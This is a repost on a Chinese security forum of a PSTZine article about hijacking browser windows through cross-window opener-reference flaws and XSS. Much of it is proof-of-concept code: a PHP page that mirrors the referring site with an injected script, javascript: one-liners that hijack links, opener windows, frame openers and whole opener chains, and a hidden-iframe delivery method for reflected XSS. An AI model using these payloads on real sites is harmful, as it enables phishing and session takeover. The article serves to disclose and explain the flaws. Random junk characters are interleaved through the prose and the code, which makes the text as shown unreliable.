找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1923|回复: 0
打印 上一主题 下一主题

[PSTZine 0x03][0x05][利用窗口引用漏洞和XSS漏洞实现浏览器劫持]

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:10:56 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
                           ==Ph4nt0m Security Team==
! D2 a# P% Z8 k% v 3 Q) j6 f9 n, N7 E2 ^, V
                       Issue 0x03, Phile #0x05 of 0x07
! P: A9 p! q5 z: ^
: \4 S4 }- Z% \" s  D
5 Y3 Q+ Y! c; A# v|=---------------------------------------------------------------------------=|
+ b( E9 U) [( u! r|=---------------=[ 利用窗口引用漏洞和XSS漏洞实现浏览器劫持 ]=---------------=|. Z1 M4 ^6 j, }  W  T9 ?/ P0 H
|=---------------------------------------------------------------------------=|: b2 _: u; E' W& b
|=---------------------------------------------------------------------------=|" g: ?5 X5 L1 Q- q1 T
|=------------------------=[      By rayh4c     ]=---------------------------=|( C- h" D, W+ F7 Z
|=----------------------=[    <rayh4c#80sec.com>   ]=------------------------=|
3 s9 C$ f9 U$ n7 [4 F|=---------------------------------------------------------------------------=|  h7 M( }7 M5 o$ a, k5 [3 T

7 f, t9 m, z) U8 R1 V, l' {! C) k$ S" P
[目录]
& x/ ]: v, T$ D5 g6 k6 Y+ _1 n1 ~4 b1 p9 h) W" u' \5 N8 H* A# [+ p0 p
1. 前言
- f- _& E& B' l3 }1 i9 O- l2. 同源策略简叙
9 U% A) f9 @2 k% T$ D* U  a3. 理解window对象的同源策略
& L4 r2 _7 R: Y4 v8 f4. 窗口引用功能中的同源策略漏洞
- R; t6 O# B. i3 }' ?; f  4.1 父窗口引用子窗口的同源策略问题
4 Y4 {# X: n- D4 u$ ~# \  4.2 子窗口引用父窗口的同源策略问题9 p+ B6 u; z& e
5. 利用窗口引用漏洞劫持浏览器9 H* m  R/ L) z
6. 利用XSS漏洞劫持浏览器/ g# w0 [- J4 d3 |/ ]/ j: R( C8 ?( D
  6.1 正向跨窗口劫持0 S/ C7 f) j% q8 Q& q& d
  6.2 反向跨窗口劫持, x0 R0 u% t7 a& c4 p6 T
  6.3 极度危险的跨框架窗口引用劫持
. |- O+ S$ P6 z  6.4 极度危险的正反向跨窗口递归劫持
' `6 k6 b1 [, D/ I: L  6.5 完全控制浏览器" o7 `) i, y5 d' i
7. 后记7 Q/ a5 C' b% H% E4 S
8. 参考
" g: j9 M  m+ b4 u+ O0 ~6 c1 D0 b) `- r5 _( j$ B
9 c: b: y% n# U
一、前言  @; y# d2 v) W( u
5 j' p9 ~+ g9 @1 s& M( b6 \7 x
    最近国内关于XSS漏洞的技术文档都比较少,所以决定写这篇文档,其中的很多细节和朋
2 e5 p1 m6 A# j' [* R友们都沟通讨论很久了,其中包括了我对浏览器同源策略和XSS的一些理解。XSS漏洞从Session/ e( F7 E' i" K1 |9 p" O
劫持、钓鱼、XSS WORM等主流攻击方式发展到现在,告诉了大家一个真正的跨站师是不会被+ u9 Y; d& \* r) O" i. J' p
条条框框所束缚,跨站师们在不断的创新,跨站师们会展示XSS漏洞的所有可能。
& y8 O9 P. n- W/ n* a) \# I& Y+ s

# Y5 _. S, @+ w/ k( o二、同源策略简叙
) J2 d5 {; N4 N/ B8 B' ]) }
: x7 s6 L* a8 N7 _" v3 h$ f    同源策略是浏览器的安全基础,它是浏览器支持的客户端脚本的重要安全标准,我们可以
7 G0 E  p6 B3 z) q从“源”上了解这一安全标准,按照W3C的标准这个“源”包括域名、协议和端口,各大浏览器都
# X* T9 p: c# o1 E! S3 K; ^2 `曾爆出过很多同源策略漏洞,危害程度各有不同,比如从06年开始流行至今的MS06-014网页木4 q' j* r! ]1 \8 g0 |/ @
马漏洞都已经完全颠覆了同源策略。这次的文档主要说的是DOM的同源策略(参考2)中的一个* D3 f: i; K" Y, ~
漏洞,然后从漏洞引申到XSS漏洞如何利用DOM的同源策略特性,最终实现浏览器劫持。
1 D' D2 y: S  c' `$ j
8 U- \7 Q5 r# n  c+ f8 b# @, u; G8 b0 A5 V1 B" f6 i# I# l
三、理解window对象的同源策略
$ F) [' h4 W2 D$ f4 b
/ d4 L1 M# Z( |3 Z; F) y+ a& |    窗口即指的是浏览器窗口,每个浏览器窗口都可以使用window对象实例来表示,window对
, X5 M# T8 [! T/ A, m9 p: n象有很多属性和方法,写一个简单的脚本可以历遍出window对象的所有属性和方法:
* D7 n% g% ^% `- d6 j/ V8 _9 }3 m; K7 Y/ G% H
--code-------------------------------------------------------------------------
( H; U; ?& R2 h5 }9 y, {<script language="javascript">9 z: K- z; n% e) {# B6 T! F* y% r
for(p in window) document.write(p+"<br>");' z6 M$ `  d& |! l# p  @# S
</script>
- [3 m* Z0 D* n9 R: D2 M-------------------------------------------------------------------------------4 S- [* Q- o# L* Z& A* ]0 ]1 i. M
7 P" {, a' n0 H+ p+ V
    这些window对象的属性和方法可以改变窗口的外观和窗口网页的内容,当这些属性和方
6 }, n* I/ n% k" Y' P法只在一个窗口中使用并不会凸显出安全问题,但是当多个window对象开始互相引用的时候,
; \$ D1 p- a. c6 m' L( a1 ^/ r9 N这些属性和方法就必须遵循同源策略。
5 R3 Y# o, B& j$ X; ^$ d! @; Q# e5 `5 @- n* B
    举一个简单的例子,如果在a.com的网页可以调用b.com网页window对象的属性和方法,那
! k! G. d1 a  E么跨站师就可以随便XSS互联网上任何一个网站了,所以为了避免安全问题,同源策略是必须
( S( @# s' }+ _2 ~$ h% m的。我们可以把下面的脚本保存为demo.html到本地打开或者丢到远程服务器上进行测试,这
) v& O" Z( O/ h9 ^+ \3 T7 X个脚本的效果是调用不同源的子窗口window对象的属性和方法,我们会发现location属性的
$ b: J$ E$ V! D9 s+ \1 x5 p; i值类型是空白的,这种情况太特殊了,说明不同源的父窗口引用子窗口window对象的location
  J3 I! U% K& U( k: ]属性并没有被拒绝访问。3 a, p& S8 j/ O5 h* s' l' b

3 x3 w% S5 d5 d  K/ [; e--demo.html--------------------------------------------------------------------
1 w1 i  U/ b4 l" J5 p3 N, J: N<script language="javascript">   ! H+ [/ ~* g) }* p- z4 Q" q5 L7 z  W
function allPrpos(obj) {      8 I* H+ m# {% l4 x7 ^
      var props = "<table><tr><td>名称</td><td>值</td>";           8 u+ [* ?8 h/ m. ^! P( o
      for(var p in obj){         
5 \0 w5 S! m9 c$ l( G: }% s( E& i& @9 ?            if(typeof(obj[p])=="function"){   
$ d" d% g1 G/ D3 g4 K                   obj[p]();   / c& y3 S; j8 z! F8 M# |
             }else{                     
$ f9 f7 q- Z3 e  P0 M                  try   , d+ L2 y% g  [. z9 m
                   {   1 Z1 `1 A5 X  y3 T( M, l
                          props+="<tr><td>"+p + "</td><td>" + obj[ p ] + "</td></tr>";   # R# H9 P- z0 `  t
                   }   ' f2 v5 {! b; O/ k, v( C
                  catch (ex)   8 k, T) ?- h( }3 E2 ^) f
                   {   
) m/ Y6 ]! }3 n, F8 R: w                   , G* a; R! p9 n  U0 F$ A$ F7 ~
                          props+= "<tr><td>"+p + "</td><td>" +ex.message+"</td></tr>";   
% Z8 e" t) o! L. `' x                   }   
% C! }. i$ e4 d( E4 B  P                       
. a& {# Y, f3 X* d             }   4 k7 E& e- H, y. J. r
       }   * k# _/ C$ z+ Q
   
% |2 d; F' R1 P: ]9 o/ k- i! R       document.write(props+"</table>");   ; H7 R, m) o5 p" Q  |
}   / u  q9 n0 _+ T& f3 F# ~8 R9 F
   + F* I( c( {3 T6 `
function createWin() {
* }) |% ]2 u: f5 D6 V        newWin = window.open ("http://www.google.com");  
9 z! y& f) z2 p% ?3 R  w3 u        setTimeout(function(){allPrpos(newWin)},2000); ; V5 L; l! @! J+ X5 z8 ?7 w& Q
}
  n8 e6 B9 D8 x1 G/ E  S3 o7 D& F' p9 G# B1 G* u/ _$ |
</script>
1 M& ]$ [, Q' g! v' e3 F/ z7 y8 [( ]9 V$ f( _
<button onclick='createWin()'>创建一个非同源子窗口测试</button>. B+ P. x1 [2 R# T  T) e* g# ]
-------------------------------------------------------------------------------) p: G4 Q! y! x" f4 O/ h
3 ^; L! X4 ]& f4 `
9 d9 f6 }% f  n, w0 T
四、窗口引用功能中的同源策略漏洞1 r  L5 S! U  v/ Z: F
' P# c5 S# R& w- b$ h/ R
4.1 父窗口引用子窗口的同源策略问题- J! q* M6 F: e, C) n/ r4 e) }

) T% Q9 C" d3 z5 v    去年我在幻影杂志发过的IE6跨域脚本漏洞,这个问题微软已经发布了ms08-058补丁修复,
# w/ ^  [# R" O' _& P, Z但这个漏洞仍然暴露了父窗口引用子窗口的同源策略问题。根据第二部分的测试,我们知道
$ Z! ~! m, b: d+ b( u! h浏览器并没有阻止父窗口访问非同源子窗口的location属性值,我们可以使用下面的脚本进% j  R( g& |7 L) V, e
行测试,会发现父窗口可以控制非同源子窗口location属性值。
6 v! f6 X3 v+ s+ l
3 |9 N$ K) f; l. ^/ t7 B--vul1.html--------------------------------------------------------------------8 e' G2 W0 m2 N8 P( k
<script language="javascript">
% y3 A. P1 \9 c: }) Z+ u1 Ofunction createWin() {    P: ~+ {2 F3 w! }; Z: y
        newWin = window.open ("http://www.google.com");  
. G1 Y5 O# K( l        setTimeout(function(){newWin.location="http://www.80sec.com"},2000);
1 V4 C% m4 Z/ m}
0 ~( X; O- ~! f" `5 a</script>
8 X* ?9 e& V1 ?- T7 Z5 c: b
; q% `% v' e# ^+ v- X1 a  f" W<button onclick='createWin()'>创建一个非同源子窗口测试</button>
- G- g) }( a5 p9 U2 w: [1 `& e-------------------------------------------------------------------------------
4 G+ F/ e4 K' P) @, H$ T
/ @0 d0 {, O& E1 S6 A1 X3 e. z2 d; {+ _& F1 v
4.2 子窗口引用父窗口的同源策略问题
; j* ~- M+ t- U# G4 s5 Q9 X4 a3 X. X% B( a! I  A  o* M
    逆向测试一次会发现子窗口引用父窗口也存在同样的问题,这里为了更方便和直观我使+ R6 A2 O; I- ^' t: S/ B
用javascript伪协议进行验证。子窗口引用父窗口的window对象属性是window.opener,我们+ I) u$ W& Q. g% A) l
可以随意浏览一个网站点击链接打开N个网页,在这些网页的地址栏注入下面的脚本,你一定" m& R, b1 C8 @0 E, O9 z
会惊奇的发现,不管同源还是非同源的父窗口都转跳到了80SEC网站。2 Q* m0 m+ R" X2 L0 Z% j, x6 V: L! T

% [  [; z" o0 z- j3 Q--code-------------------------------------------------------------------------
$ K- o; t& N) j2 j
! M+ Q! t% o5 x0 ~4 q, I3 [4 {javascript:window.opener.location = "http://www.80sec.com";void(0);
  g; B$ J  Q9 E7 ?# L, x9 {& Y8 Q
-------------------------------------------------------------------------------
& W' \* r# ]% _
& `! M9 P1 [9 s6 Z' T/ w, |* a8 W, C# K1 R+ V0 A: ~+ r
五、利用窗口引用漏洞劫持浏览器
7 z  G, L1 x9 g% k4 w2 A+ E0 M% F8 {- g" ?. H: E, \
    经过上面三个枯燥的测试,我们已经暴露了浏览器一个非常严重的安全问题,非同源的子6 j  ^; J( f' I1 i  s2 a& ?$ ?
窗口和父窗口可以互相引用控制window对象的location属性值,并没有严格遵循同源策略,那1 q+ z' f+ X, x! x% {5 A$ R
么用户在浏览器中的所有点击行为都有可能被跨站师变相控制。
) \) _- C- ~# T5 f, J( Y8 ^4 f5 l' P2 a0 c; P% }
    我们打开浏览器访问互联网上的各个网站,无时无刻不在点击链接,我们点击链接想要产
- t, b8 f! ~9 M4 M3 n生的结果是去访问我们想要去的URL地址,用户的正常点击只会产生两个结果,打开新窗口或4 |/ \- Z% t& q0 }
者当前窗口转跳,试想一下你在SNS网站、电子商务网站、BLOG、论坛里点击一个正常的链接
1 o9 q" g: I5 `9 a: ^1 R后,打开了一个“无害”的网页,原本浏览的信任网页却已经被悄悄替换了,大家可以联想一下2 \# g' n6 A: e6 c
会产生什么可怕的后果。
4 n2 E" y5 {7 x) _; L, X
9 g! N2 q' @7 g: T2 R! T& V    下面我写了一个劫持浏览器的小Demo,思路是获取REFERER后生成镜像页面,同时加入我
+ f9 [& q+ l# }* }6 o( d2 v5 u们的劫持脚本。比如把这个hjk_ref.php丢到本地服务器上测试,将http://127.0.0.1/hjk_ref.php- X; I; P2 H) R* }, E5 d
这样的链接发到任意一个网站上,点击链接打开新窗口,当所有的注意力都停滞在新窗口的时
  c9 W0 D& X$ x) P, @候,3秒后一个镜像页面将会悄悄替换链接所在页。按照类似的思路,发挥跨站师的想象力,可
: ]. f, O! B' `! ?以做更多的事情,所有的一切仅仅是因为点击了一个链接。0 R+ n. }3 V9 W; s5 Y+ G" t
. y: n1 i! i: @! Z# o: d( _) x
--hjk_ref.php------------------------------------------------------------------
5 r# @+ w6 R& V5 m<?php( \' a( A: n9 h
if (array_key_exists("HTTP_REFERER", $_SERVER)) {
0 a9 p* b$ ^9 U: c& t, ~, e$Url_Mirror = $_SERVER["HTTP_REFERER"];: z. y$ X6 J# L/ \5 f. h
} 8 g8 E$ }4 h( g. {4 Z! G3 q8 N0 L8 P8 V/ n
if(isset ($_GET['ref'])) {& x8 K7 U  J8 O& ]
echo file_get_contents($_GET['ref']) . '<script>alert(\'I had been hijacking your browser!\')</script>';
+ j7 w9 j, c- M# \}
0 [# P& E2 L) o0 g, r5 \?>
$ [3 \! i& W3 g1 K* d* n9 L' m7 }) H2 V" @
<script language="javascript">0 `: P: \: W& g' e! q3 ]
setTimeout(function(){window.opener.location=window.location+"?ref=<?echo $Url_Mirror;?>"},3000);         - a1 T5 e4 M* _5 g* w
</script>
+ q8 P1 N) ^* g) X) f' d! H-------------------------------------------------------------------------------
, g, e5 p7 g5 |
; w: |& p! P0 Z' s    注:各大主流浏览器仅opera和internet explorer 8不存在窗口引用漏洞。
7 \' x) B0 j" ~
; N" e  m5 \1 S( O
! @: b. q( K1 \) Q* A六、利用XSS漏洞劫持浏览器) }) Y6 A  k$ S8 w+ k5 o
1 Z2 m& Z; x4 C4 ]% n
    延续第四部分的思路,这部分将进入本文的一个重要环节.跨站师们都知道XSS漏洞分为1 Q% X0 |9 G: k# P+ b) ]( t7 L0 g
持久和非持久两种,这两种类型的漏洞无论怎么利用都无法跳出窗口的生命周期,窗口关闭后
( D6 F3 D: L( ~" j5 p" ]- W: sXSS漏洞的效果也就完全消失,窗口的限制一直束缚着跨站师们的发挥,我这里将和大家一起* n4 e" q% k7 O. a6 I% X% P7 j
讨论跨站师的终极技巧:6 o4 f8 I) B$ _  W

! }; l: w. F9 a% m% J( W. r; [: a8 `( U! Z
6.1 正向跨窗口劫持
* H/ m0 S. X, K1 w' G* ^$ \) a
% ^& T- j0 U9 K    大家可以先试验下hijack_open.js这个脚本,比如打开http://bbs.dvbbs.net/动网论坛; z0 N+ q! f7 z' O/ u- n, I8 C$ o! @4 d
主页,我们在地址栏里复制下面的代码使用伪协议注入hijack_open脚本,然后整个页面的链! b4 S5 @( V; q8 ~
接就都被劫持住了,点击论坛里的任意一个链接,打开的新窗口都会被注入了一个alert对话# X7 m4 \) n( n. A* d. \8 {
框脚本。 % t; `9 }. ]/ a  d. H) {+ W

4 L8 q" m2 N8 ?. R2 s; H3 Q* `--hijack_open.js---------------------------------------------------------------
: I- m9 Q9 x0 T! v2 e
5 L) W, C+ r' Ojavascript:for(i=0;i<document.links.length;i++){document.links.onclick=function(){x=window.open(this.href);setTimeout(function(){try{x.location="javascript:alert('I had been hijacking your browser!')"}catch(e){};return false;},3000);return false;}};void(0);
+ V: W- I3 `8 E8 r5 ]- Q* i3 D( v- U9 I) i
-------------------------------------------------------------------------------; H/ R, k8 R2 p% w8 T6 `5 e
' m1 `; E) }9 p& k0 t+ j1 G

9 R0 y" C& `5 j' {" M, Z/ h0 l6.2 反向跨窗口劫持
2 p, i8 f; L! a# e0 j: K, ~+ }( }7 j
+ l+ W& p8 z0 {, J+ ]6 k    同样我们也可以在动网论坛试验,新打开任意一个版块的窗口,在地址栏里复制下面的代
. ~5 Q) ?% M- Q) c' A# v码使用伪协议注入hijack_opener脚本,我们会发现原来的页面被反向注入了一个alert对话7 S" P& T  D1 Z
框脚本。) d2 y6 S% B1 Y" [$ v
0 U4 c+ V0 l$ o7 n, j4 w% k3 X
--hijack_opener.js-------------------------------------------------------------$ g$ H) P- J0 A- k
' X( v$ j& c, A
javascript:window.opener.location="javascript:alert('I had been hijacking your browser!')";void(0);0 G; k  n# h3 Q$ s% G1 b
7 }8 Q) w2 ?4 a, [
-------------------------------------------------------------------------------  E9 U2 d0 D& M; G! N; F

8 L$ C! L8 h& z
- j! E; z: h' ~. r: z) c- d* y+ R+ g6.3 极度危险的跨框架窗口引用劫持! N. X" Q3 }+ W- D

; E! T( I# e( D8 z3 Q    非持久型XSS漏洞是在URL参数中注入脚本,一度被认为很鸡肋,一个非持久型的XSS漏洞- h4 Z! S3 c$ w
可能出现URL参数过于冗长等缺点,下面这个window.parent.opener的跨框架窗口引用技巧就
4 l5 ^$ q8 g1 ~) L. t适用于所有的非持久型XSS漏洞,我们可以在一个被攻击者的信任网站上的网页里iframe一个
8 k+ ~+ h/ ]) e( O3 L1 R" W非持久型的XSS,如下:7 j) w- S, W* h4 t- p$ I! e
; e" k% v8 i- }7 z% E6 w
<iframe src='http://www.target.com/index.php?vul=xss'width='0' height='0'>
1 V, q+ Q, P4 U1 V1 [+ U6 l
3 D3 u, a  o: y( u/ E    在vul参数中写入下面的hijack_frame_opener脚本,跨站师就可以反向跨框架引用窗口3 [) C% R! R* p& ?4 m
注入脚本。
/ H% ]+ a. r* i, [; g+ t% S. T2 L5 Z' _- [6 ?; p9 L% Z$ E
--hijack_frame_opener.js-------------------------------------------------------
1 Y9 a$ Y& h) ?& s' e<script>  J/ P6 b$ j+ c( c
window.parent.opener.location="javascript:alert('I had been hijacking your browser!')";
: S# a% J8 X1 _8 o6 I</script>
$ y! d% C. }% |-------------------------------------------------------------------------------
' S  T6 ^8 e7 {+ {9 v5 Y+ O; M% e2 n, x" S- I+ w

" \9 L9 X6 ?* Y6.4 极度危险的正反向跨窗口递归劫持; Y' a5 A" K& @" b2 r- a

3 \1 b" V* H1 Q7 i3 _% @# t    luoluo建议我加上了这一部分,窗口之间的引用关系可能是复杂的,我们可以通过window
8 w; t' c. n, Y! t的opener属性链反向递归查找窗口注入XSS脚本,将互相引用过的同域窗口全部劫持,并通过
% r5 X7 A3 m8 u$ ]异常处理规避之间跨域页面的访问异常,代码如下:
* o4 R; r. ?& S" A* z  `8 Z- \2 j6 ^
--code-------------------------------------------------------------------------
+ i" s6 G  D9 ?( T( J$ j. ^5 h6 _8 j
javascriptfunction(){var w=window;while(w.opener){w=w.opener;try{w.location="javascript:alert('I had been hijacking your browser!');void(1);";}catch(e){}}})();void(0);- `. a  E: q9 ~' ~3 R% h1 E
, z; k" a1 J- B. b" }' p
-------------------------------------------------------------------------------
5 `! u! Z1 I+ y/ r. ~7 Z. F" B9 }. x) @
    假设页面打开序列有A域->B域->A域的情况,通过对第二个A域页面的反向递归劫持则可
5 m' L' W0 T* z- I7 L7 _以劫持B域之前的A域页面,从而实现“隔空打击”。
* [8 ]6 C6 [- K% L. }$ U) x4 l' |. K0 B: M& I
    同理,正向跨窗口劫持也可以实现递归劫持所有同域的链接,对每个打开的被劫持的页面# `- b$ E4 Z' e* V$ ^0 F3 @
执行和第一个页面一样的劫持脚本,但是正向递归没法实现反向递归的那种“隔空打击”。
8 G3 c: C. q0 p6 \' O9 N
' _( F% g* e: F$ _    结合正向和反向的链式递归劫持,最终我们可以劫持所有的同域页面。
- Y1 J/ {; D9 H& ]) N( q( L  K4 x2 x- T- k2 F* w

; [3 u1 ]& h! o% u6.5 完全控制浏览器
% m, f: Q0 s! Z. C) O6 w! B8 U
3 c" o: b7 G( J& T    一个跨站脚本漏洞的真正意义在程序员的角度是输入和输出问题,而在跨站师的角度则
& ?% L# O9 t( Z, n) ~( b是能够进入同源策略了,可以摆脱同源策略的束缚做任何想做的事情。跨站师们可以利用XSS
2 w& H/ g' K( [漏洞在同源策略允许的范围内再跨页面注入脚本,可以不再为窗口关闭后XSS漏洞的效果消失4 H0 @7 A% ?) u' Q
而烦恼,劫持窗口后的跨站师们可以任意发挥,劫持表单,劫持请求,劫持输入等等,我就不再+ N9 S: s3 S) U) F8 O# t
列举实例。无论是持久型还是非持久型的XSS漏洞都是能够发挥最大的威力的,最后实现跨站  n8 R: g4 |& [8 o
师的终极目标 - 完全控制浏览器。9 B/ n6 y; v% ^) K: |% @9 Q% c
+ W% O6 o7 L6 o" x/ j9 O1 B
& T5 O& W- W3 r
七、后记
5 ?9 D2 Q$ W- q" j4 q  W( s0 o) f$ `" @) m3 j2 O, w
    文章涉及的安全技术全部都是纯研究性质,请不要将这些技术使用在非法途径上。安全  r7 }6 o$ i' m) c% s5 |. _! }
与应用永远是一个矛盾体,通往安全的路永远不止一条。感谢对这篇文档的思路和技术给予4 O9 H  w! v6 k' }) Z( n
过帮助的luoluo、cnqing、linx以及80Sec团队的所有成员。- ^! ]  L* d* o1 }; o( X9 D$ A

1 j) p0 O) O' v% x* g5 p" E4 d8 \4 P% b" p6 Q- N6 s% R( M" R0 B$ M6 e- }
八、参考
6 N0 r! x$ F) l' O; g# b1 l1 U3 r
3 O% x9 j  J6 N* e, s1. http://en.wikipedia.org/wiki/Same_origin_policy' ^7 E7 a9 y2 t
2. http://code.google.com/p/browser ... licy_for_DOM_access
5 l, f* V- ^: D0 e/ E, |3. http://www.w3.org/TR/Window/
2 @4 E7 S, {) l1 c% @4. http://www.80sec.com/release/browser-hijacking.txt
. F3 P5 G! w# Z: c5. http://www.80sec.com/all-browser-security-alert.html
8 M2 s: d9 [9 W( i* {0 r, X6. http://www.80sec.com/ms08-058-attacks-google.html& w: f+ U5 S! h$ H& g9 y
' y. M! p0 I/ U( C  ?
-EOF-
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表